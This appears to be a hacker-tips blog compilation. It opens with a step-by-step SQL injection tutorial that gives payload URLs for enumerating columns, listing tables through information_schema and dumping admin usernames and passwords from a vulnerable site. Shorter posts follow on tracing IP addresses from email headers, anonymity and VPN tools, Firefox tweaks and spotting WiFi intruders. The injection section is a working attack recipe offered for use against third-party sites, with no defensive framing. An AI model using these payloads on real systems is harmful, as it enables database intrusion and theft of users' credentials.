SQL Injection Tutorial

There are many types  of  sql injection  but in this tutorial I will  explain how you can extract  columns  ,tables containing useful data such as passwords ,user id , emails , admin pass and id ..  etc

Exploiting The Vulnerability

Now say we have found a vulnerable site add    at the end of the url and if it returns with a
Error message then the site is vulnerable 


Example:-
www.vulnarable site.net/articles.php?id =1  ‘



 Now we need to find  the number of columns in current table
 For this we use “order by” commond  Add order by 1 -- 
 To the end of the url . Increase the numbers till we get a error message 


Example:-
www.vulnarable site.net/articles.php?id =1 order by 1--

www.vulnarable site.net/articles.php?id =1  order by 2--

www.vulnarable site.net/articles.php?id =1  order by 3--

www.vulnarable site.net/articles.php?id =1  order by 4--

www.vulnarable site.net/articles.php?id =1  order by 5 --

And so on till we get a error message 


Say we get a error message when we enter order by 5 --
Then number of columns in data base is 4 


Now we use the “ union all select “ commond to find the vulnerable column
Add union all select + the number of columns that we found in the last step


Exam
ple:-
www.vulnarable site.net/articles.php?id =1 union all select 1,2,3,4  --


Now we should we should find some numbers popping out 
Say we find one number 3 then column is vulnerable



We can  find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:

user()  , database(),version(),@@user,@@version,@@database

First thing is to find the  version of Mysql we add “@@ version “replacing the vulnerable column


Example:-
www.vulnarable site.net/articles.php?id =1  union all select 1,2,@@version ,4 --


Now we must see the version of  Msql at place where the number popped out in the previous step .If it is above 5  continue reading . If it is 4 and below then you have to brute force or guess the table and column names .

Now we need to find  all the table names in the database. To do this we use the following commands


table_name  ,information_schema.tables


Example:- 
www.vulnarable site.net/articles.php?id =1 Union all select 1,2,table_name,4 from information_schema.tables --


Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as admin tables or member or user tables. And so on


Now  we must find all the column names in the database, to do this we use the following command “group_concat(column_name) “,


Example:-
www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(column_name) ,4 from information_schema.columns --

 Now  look for interesting names such as user name ,id ,email and password.
And so on 


Finally we need to dump the data from the columns corresponding to the tables  
For this we use the following  command group_concat
 Now  say we want to get the “user id“ ,"username" and "password" fields, from table "admin"  we use group_concat command
  

Example:-
www.vulnerable site.net/articles.php?id =1 Union all select 1,2,group_concat(user id ,0x3a, username,0x3a,password),4 from admin--

If the command is successful  we must find the user id , user name , password


Example :-
1 .   admin : pass 
2 .   user    : password


Most of the times the passwords are cyrpted to crack them refer my posts on Hashes and Salts

Trace IP address from Emails




In todays post i will Explain  how one can trace IP address from emails Headers. If you deal with Computer Security and Penetration testing , you must be knowing the importance on IP address . To perform any kind of penetration testing or hacking you first need to know the IP address . Here I am going to discuss how to obtain IP address from Gmail  and Yahoo.

Gmail :
Open the mail you have received from your friend and click on the down arrow to the
 right of the reply button. Now click on Show Original.




You will get to see the complete headers of the mail from which you have to find 

the IP from which this mail   was sent. Mostly in case of a static IP, the IP is shown as in the figure.


Yahoo:
Open the mail and click more option, click on 'View Full headers'
 Again over here you will get to see the IP in the same format as in gmail, shown above.

Mozilla Firefox Tricks





You can impress your friends/lover with this trick.
Copy the following path into mozilla browser and hit enter. See the Magic..!!

Small scrolling Mozilla
chrome://global/content/alerts/alert.xul

Display Preference
chrome://browser/content/preferences/preferences.xul

Display Cookies
If you want to delete any cookies, you can.
chrome://browser/content/preferences/cookies.xul

History Window
chrome://browser/content/history/history-panel.xul

Display Bokmark
chrome://browser/content/bookmarks/bookmarksPanel.xul


   Run FIREFOX Inside FIREFOX
chrome://browser/content/browser.xul


Software For staying Anonymous on the Internet

1. JonDo

JonDos publishes a new version of the JonDo-Software, an IP changer and IP anonymization program, that you can use for anonymous surfing in the Internet with high security anonymous proxy servers.

What is JonDo?

JonDo is an open source and free-of-charge program for Windows, Linux and MacOS X.
It hides the user's IP adress behind an anonymous IP address. In contrast to other anonymizers (VPNs, anonymous proxy servers), the user's anonymity stays protected even against the providers (operators) of the anonymous IP address.


Download  JonDo




2. Tortilla
It is an open source tools that allows users to securely, anonymously, and transparently route all TCP/IP and DNS traffic through Tor, regardless of the client software, and without relying on VPNs or additional hardware or virtual machines. 

Download Tortilla



3. TOR


Tor is very useful for online anonymity, its protect your privacy, defend against a form
 of network traffic analysis. Traffic analysis can be used to infer who is talking to whom over a public network. Knowing the source and destination of your Internet traffic
allows others to track your behavior and interests.

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create
new communication tools with built-in privacy features.

Tor to keep websites from tracking them and their family members, or to connect to
news sites, instant messaging services, or the like when these are blocked by their
local Internet providers. Tor's hidden services let users publish web sites and other services without needing to reveal the location of the site. 

Download  TOR



4. ProXPN


ProXPN helps to upgrades your internet connection with VPN encryption secures all types of connections from DSL and cable to 3G gives you 100% private access to the internet get an IP address in the USA, UK, or NL.
It Protects websites you visit, hijack your passwords, credit cards, or banking details intercept and spy on your email, IMs, calls, or anything else, record your web,history, run traces to find out where you live.


Download  ProXPN



5. UltraVPN - A Free VPN

UltraVPN is a simple user interface to connect or disconnect to our VPN servers.

To use UltraVPN, you need to right click on a traybar icon (on the bottom right of your screen) that looks like a computer with a red screen. After right clicking on it, choose "connect".

It can be used by any individual who simply wants to protect his privacy, either on a LAN or a public hotspot.

Features:
You can connect or log in into MSN if it's blocked.
For use VoIP software like Skype if it's blocked.
UltraVPN protect your email and browsing privacy.

How can you download UltraVPN?
Download the software client and create account. You are now able to connect to the VPN. 


Make Your Firefox Fast




 This Firefox tricks will improve the speed & load time of Firefox. And you will be able to surf faster.
Type about:config in the address bar, Then look for the following entries, and make the corresponding changes.  

network.http.max-connections-per-server =32
network.http.max-persistent-connections-per-proxy =16
network.http.max-connections = 64
network.http.max-persistent-connections-per-server = 10
network.http.pipelining = true
network.http.pipelining.maxrequests = 200
network.http.request.max-start-delay = 0
network.http.proxy.pipelining = true
network.http.proxy.version = 1.0 


Lastly right-click anywhere and select New- Integer
Name it nglayout.initialpaint.delay and set its value to 0
This value is the amount of time the browser waits before it acts on information it receives. Enjoy!!

Check If Someone Has Hacked In Your WiFi

If your internet is slower than usual, then you should check if someone has hacked in your WIFI .In this post I’m going to show you two effective way to check this.
The easiest way is by using free utility called Wireless Network Watcher v1.55 .
1) Go to nirsoft.net and download Wireless Network Watcher v1.55.
2) Install it on your pc and start scanning. It scans your wireless network and displays the list of all computers and devices that are currently connected to your network.
For every computer or device that is connected to your network, the following information is displayed: IP address, MAC address, the company that manufactured the network card, and optionally the computer name. 


If you want to check if someone has hacked in your WIFI without installing any software then you should log in your router . If anyone is connected to your network it will be shown in your router security settings. You can log into your router, usually http://192.168.1.1 . You can check your router ip address using command prompt
1) Run command prompt (cmd)
2)type ipconfig and press enter



3)ipconfig will list your ip , MAC and default gateway address. You can access to your router settings by typing default gateway address in your web browser. 


4)Log in your router and look at the Home Network -> Devices, this shows all IP addresses connected to your network.